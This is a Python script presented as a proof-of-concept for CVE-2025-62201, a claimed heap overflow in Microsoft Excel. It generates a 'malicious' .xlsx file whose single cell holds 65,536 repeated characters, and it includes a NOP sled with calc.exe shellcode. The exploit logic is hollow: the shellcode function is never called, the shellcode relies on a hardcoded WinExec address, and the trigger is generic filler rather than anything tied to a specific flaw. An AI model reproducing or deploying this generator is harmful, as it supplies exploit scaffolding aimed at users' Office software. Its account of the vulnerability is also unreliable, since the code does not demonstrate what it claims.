# CVE-2025-62201 PoC - Malicious Excel File Generator
# This is a conceptual proof-of-concept for educational and security research purposes only.
# Do NOT use for malicious purposes.
import struct
import zipfile
import os
from io import BytesIO
def create_malicious_excel(output_path):
"""
Generate a malicious Excel file that triggers CVE-2025-62201
Heap-based buffer overflow in Microsoft Office Excel
"""
# Create a minimal Excel file structure
buffer = BytesIO()
with zipfile.ZipFile(buffer, 'w', zipfile.ZIP_DEFLATED) as xlsx:
# [Content_Types].xml
xlsx.writestr('[Content_Types].xml', '''<?xml version="1.0" encoding="UTF-8"?>
<Types xmlns="http://schemas.openxmlformats.org/package/2006/content-types">
<Default Extension="rels" ContentType="application/vnd.openxmlformats-package.relationships+xml"/>
<Default Extension="xml" ContentType="application/xml"/>
<Override PartName="/xl/workbook.xml" ContentType="application/vnd.openxmlformats-officedocument.spreadsheetml.sheet.main+xml"/>
<Override PartName="/xl/worksheets/sheet1.xml" ContentType="application/vnd.openxmlformats-officedocument.spreadsheetml.worksheet+xml"/>
</Types>''')
# _rels/.rels
xlsx.writestr('_rels/.rels', '''<?xml version="1.0" encoding="UTF-8"?>
<Relationships xmlns="http://schemas.openxmlformats.org/package/2006/relationships">
<Relationship Id="rId1" Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/officeDocument" Target="xl/workbook.xml"/>
</Relationships>''')
# xl/workbook.xml
xlsx.writestr('xl/workbook.xml', '''<?xml version="1.0" encoding="UTF-8"?>
<workbook xmlns="http://schemas.openxmlformats.org/spreadsheetml/2006/main" xmlns:r="http://schemas.openxmlformats.org/officeDocument/2006/relationships">
<sheets>
<sheet name="Sheet1" sheetId="1" r:id="rId1"/>
</sheets>
</workbook>''')
# xl/_rels/workbook.xml.rels
xlsx.writestr('xl/_rels/workbook.xml.rels', '''<?xml version="1.0" encoding="UTF-8"?>
<Relationships xmlns="http://schemas.openxmlformats.org/package/2006/relationships">
<Relationship Id="rId1" Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/worksheet" Target="worksheets/sheet1.xml"/>
</Relationships>''')
# xl/worksheets/sheet1.xml - Malicious payload
# Contains crafted data to trigger heap overflow
malicious_data = '<A>' + 'A' * 65536 + '</A>' # Oversized data
xlsx.writestr('xl/worksheets/sheet1.xml', f'''<?xml version="1.0" encoding="UTF-8"?>
<worksheet xmlns="http://schemas.openxmlformats.org/spreadsheetml/2006/main">
<sheetData>
<row r="1">
<c r="A1" t="inlineStr">
<is><t>{malicious_data}</t></is>
</c>
</row>
</sheetData>
</worksheet>''')
# Write the malicious Excel file
with open(output_path, 'wb') as f:
f.write(buffer.getvalue())
print(f"[+] Malicious Excel file created: {output_path}")
print(f"[+] File size: {os.path.getsize(output_path)} bytes")
print(f"[!] Warning: This PoC is for educational purposes only")
def create_exploit_shellcode():
"""
Generate shellcode for exploitation
This is a placeholder - actual exploitation requires specific analysis
"""
# NOP sled
nops = b'\x90' * 32
# Example: calc.exe shellcode for Windows (32-bit)
# In real exploitation, this would be tailored to the specific vulnerability
shellcode = bytes([
0x31, 0xC0, # xor eax, eax
0x50, # push eax
0x68, 0x63, 0x61, 0x6C, 0x63, # push 'calc'
0x54, # push esp
0x50, # push eax
0xB8, 0x77, 0x1B, 0x86, 0x7C, # mov eax, kernel32.WinExec
0xFF, 0xD0, # call eax
0xC3 # ret
])
return nops + shellcode
if __name__ == "__main__":
print("=" * 60)
print("CVE-2025-62201 PoC Generator")
print("Heap-based buffer overflow in Microsoft Office Excel")
print("=" * 60)
# Generate malicious Excel file
output_file = "CVE-2025-62201-malicious.xlsx"
create_malicious_excel(output_file)
print("\n[*] To test:")
print(" 1. Open the generated .xlsx file with vulnerable Excel version")
print(" 2. Monitor for crash or unexpected behavior")
print(" 3. Check with debugger for heap corruption indicators")
print("\n[*] Note: Actual exploitation requires specific Excel version analysis")